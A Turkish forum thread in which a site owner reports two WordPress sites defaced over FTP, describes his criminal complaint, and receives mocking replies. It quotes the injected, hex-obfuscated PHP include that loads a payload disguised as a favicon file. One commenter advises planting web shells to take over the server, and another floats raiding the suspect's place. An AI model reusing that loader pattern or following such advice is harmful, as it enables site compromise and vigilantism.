2 sitem birden heklenmiş :)

Arkadaşlar perşembe akşamı bir sitem heklendi. Bugün ise diğer sitem heklendi. İki site de farklı hosting firmasında barınıyor.
Perşembe gün heklendiğinde hosting firmasından destek alıp tüm bilgileri raporlattım. Cuma sabahı da savcılığa suç duyurusunda bulundum. İki siteyi de hekleyen aynı kişi. Tam heklemiş sayılmaz aslında. Ne yaptığını anlatayım.
Sitede cache eklentisi kuruluydu. Cache dosyalarını silmemiş. Siteye direkt FTP'den tek denemede bağlanmış ve sadece index.php dosyasını değiştirmiş. Logları vs silmeden ve başka hiçbir şeye dokunmadan, dosya indirmeden çıkıp gitmiş. index.php'yi açtığımda böyle bir kod vardı :
/*6dd08*/
@include "\x2fhome\x2fothe\x6desn/\x70ubli\x63_htm\x6c/wp-\x61dmin\x2fjs/f\x61vico\x6e_15c\x64cf.i\x63o";
HACKED HACKED HACKED HACKED HACKED HACKED *******İNSÜLİN*******
/*6dd08*/
Hosting firmasını aradım. Tüm kayıtları çıkarttım. CPanel ve Wordpress admin paneline farklı giriş yoktu. Dosya transferi yoktu. Belkide bunu yapan fazla birşey bilmiyordu veya bir ön uyarı vermek istedi kendince. IP numarası, kullandığı taraıcı, ekran çözünürlüğü, ISP vs tüm bilgileri hosting firması raporladı. Ben de yazıcıdan raporları çıkardım. Sabah savcılığa suç duyurusunda bulundum.
Bugün ise yine aynı şey farklı siteme uygulandı. Yine aynı yöntem. Zaten bakalım bu siteyede birşey olacakmı diye bekliyordum. Şuan da farklı bir sitemin FTP şifresini 123456789 olarak değiştirdim. Oraya da girsinde adamı bulmak kolaylaşsın Zaten heklenmesi benim için birşey ifade etmiyor. Hosting yedekten hemen geri alıyor. Çok gizli saklı bilgiler de yok sitelerde. Bana maddi bir zararı da yok.
/*6dd08*/
@include "\x2fhome\x2fothe\x6desn/\x70ubli\x63_htm\x6c/wp-\x61dmin\x2fjs/f\x61vico\x6e_15c\x64cf.i\x63o";
bu sana ders olsun
/*6dd08*/
En son bugün eklediği kod da bu.
Bakalım neler olacak. Kim neden yapmış, nasıl yapmış, bilişim suçları adamı bulabilecek mi, bulurlarsa ne kadar sürede bulacaklar, ceza alacak mı, bana bu mahkeme vs işleri kaç lira masraf çıkartacak hepsini paylaşacağım.
*********************************************
Çok yorum yazılmış hepsini cevaplayamadım (bana göre çok). Pazartesi savcılığa gideceğim. Dosya ne olur, nereye gidiyor, işlemler nasıl akıyor, ne kadar sürer ne yapmak gerek vs soracağım. Bir arkadaş maddi zararını belgelendirirsen işler hızlanır daha çabuk bulurlar dedi. Başka bir tanıdık da senin iş sonuçsuz kalır, önce en önemli dosyalara bakıyorlar. Bilişim ekibi yetersiz (sayıca). Terör olayları, fetö, bylock vs ile meşguller. Seninki gibi basit olaylara sıra gelmez boşuna bekleme dedi.
IP adresi Manisa Turgutlu gösteriyor. Olmazsa birkaç arkadaş gidip mekanı basalım diyor bir başkası da
************************************************** ************************************************** *********************
11 Şubat'dan sonra dosyaya cevap gelecek.

kodu giren adamın vpn vs kullandığını da düşünüyorum, mirror sitelerinde saniyede 100 hacklenen site giriyorlar. Bir şey olduğunu sanmıyorum, bizim bilişim dolandırıcıyı bile 6 sene geçiyor bulamıyor. Bulamıyor kısmını geçtim , işlerine uğraşmak gelmiyor " bulamadık ya" diye geçiştiriyorlar. Geçmiş olsun.

Takip..

Kullandığın bilgisayar ile alakalı bir durum olabilir. FTP'ye giren de ne gerizekalı çocukmuş ne index atmış ne priv8 yazılım. Hadi bunları bilmiyorsun 1-2 shell at serverı geç.
Anladığım kadarıyla beyin fonksiyonları gelişmemiş birisi ki bilişim suçları bulsa bile böyle birine acırsın ve davacı olmazsın.
Geçmiş olsun.

Eyvallah hocam. Bakalım bizimki kaç sene sürecek. IP adresi Manisa Turgutlu görünüyor. ISS ise Türknet görünüyor. VPN mi artık bilemem.



Hocam valla kahkaha attım. Ben de zaten siteyi görünce gülmüştüm. Böyle hack mi olur dedim.

Geçen adını vermeyeyim , x forumda torrentten oyun indirmişler adam Almanya'da yaşıyormuş. Çat diye tespit edip 1000 dolar ceza göndermişler illegal oyunu oynamaktan indirmekten kaynaklı. Bizim bilişim suçlarının bu işlerin çok çok gerisinde olduğuna inanıyorum. Tamamen şahsi fikrim tabi ki. Umarım bulunur

Temizinden 5 senesi var. Ama bence uğraşma vaktine yazık yani hacklemek isteyen senin sayende havalara girmiştir sevap kazanmışsın ne güzel. Bu ülkede bilişim davalarından kaçacaksın sen müştekiyken sanık durumunu bile düşebilirsin. Kolay gelsin hayırlı geceler.

Mobilim tam okumadım ama sunucu yu geçip toplu index atmış olabilirler.

Adam Resmen Bi Girmiş Bi Geziniyim Ftp'de Sonra Yarım Saat Sonra Canı Sıkıldı Hacked İndexi Koymak İstemiş Onuda Bacememiş. Bundan Ne Beklersinki Sen Hiç İndex Koyma Daha İyi Allahım Ya